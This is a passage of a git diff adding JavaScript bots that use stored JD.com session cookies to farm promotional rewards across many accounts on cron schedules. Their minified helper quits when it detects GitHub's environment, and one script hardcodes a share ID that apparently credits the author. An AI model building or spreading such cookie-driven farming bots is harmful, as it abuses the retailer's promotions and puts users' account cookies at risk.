($.isNode() && process.env.JDNY_RECEIVEACCOUNT) { + if (process.env.JDNY_RECEIVEACCOUNT.indexOf('\n') > -1) { + receiveAccount = process.env.JDNY_RECEIVEACCOUNT.split('\n'); + } else { + receiveAccount = process.env.JDNY_RECEIVEACCOUNT.split('&'); + } + } + if (receiveAccount.length) + console.log(`将要领取卡片的是账号第${receiveAccount.join(',')}号账号`) + + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_newYearMoney_lottery.js b/activity/jd_newYearMoney_lottery.js new file mode 100644 index 0000000..3177432 --- /dev/null +++ b/activity/jd_newYearMoney_lottery.js @@ -0,0 +1,256 @@ +/* +京东压岁钱抢百元卡 +活动时间:2021-2-1至2021-2-10 +活动入口:京东APP我的-压岁钱 +活动地址:https://unearth.m.jd.com/babelDiy/Zeus/22uHDsyHntidZV9tpwov2hrUUvmb/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东压岁钱抢百元卡 +0 0 9,12,16,20 * * * jd_newYearMoney_lottery.js, tag=京东压岁钱抢百元卡, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 0 9,12,16,20 * * *" script-path=jd_newYearMoney_lottery.js, tag=京东压岁钱抢百元卡 + +===============Surge================= +京东压岁钱抢百元卡 = type=cron,cronexp="0 0 9,12,16,20 * * *",wake-system=1,timeout=3600,script-path=jd_newYearMoney_lottery.js + +============小火箭========= +京东压岁钱抢百元卡 = type=cron,script-path=jd_newYearMoney_lottery.js, cronexpr="0 0 9,12,16,20 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京东压岁钱抢百元卡'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdNian() + await showMsg() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdNian() { + try { + await lotteryHundredCard() + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function lotteryHundredCard() { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_lotteryHundredCard'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + message += JSON.stringify(data) + } else { + console.log(data.data.bizMsg) + message += data.data.bizMsg + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function showHundredCardInfo(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_showHundredCardInfo',{cardNo:cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function receiveHundredCard(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_receiveHundredCard',{cardNo:cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nh.js b/activity/jd_nh.js new file mode 100644 index 0000000..dbf53e2 --- /dev/null +++ b/activity/jd_nh.js @@ -0,0 +1,538 @@ +/* +京东年货节 +活动入口:https://lzdz-isv.isvjcloud.com/dingzhi/vm/template/activity/940531?activityId=dzvm210168869301 +用5000金币开盲盒必中200-300京豆,任务做完每天1000,5天换一次 +活动时间:2021年1月9日-2021年2月9日 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东年货节 +1 7 * * * jd_nh.js, tag=京东年货节, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "1 7 * * *" script-path=jd_nh.js,tag=京东年货节 + +===============Surge================= +京东年货节 = type=cron,cronexp="1 7 * * *",wake-system=1,timeout=3600,script-path=jd_nh.js + +============小火箭========= +京东年货节 = type=cron,script-path=jd_nh.js, cronexpr="1 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东年货节'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//const WebSocket = $.isNode() ? require('websocket').w3cwebsocket: SockJS; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message,helpInfo; +let shareUuid = '83c6d4a80e3447b78572124e1fc3aa7c' +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const ACT_ID = 'dzvm210168869301' +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, 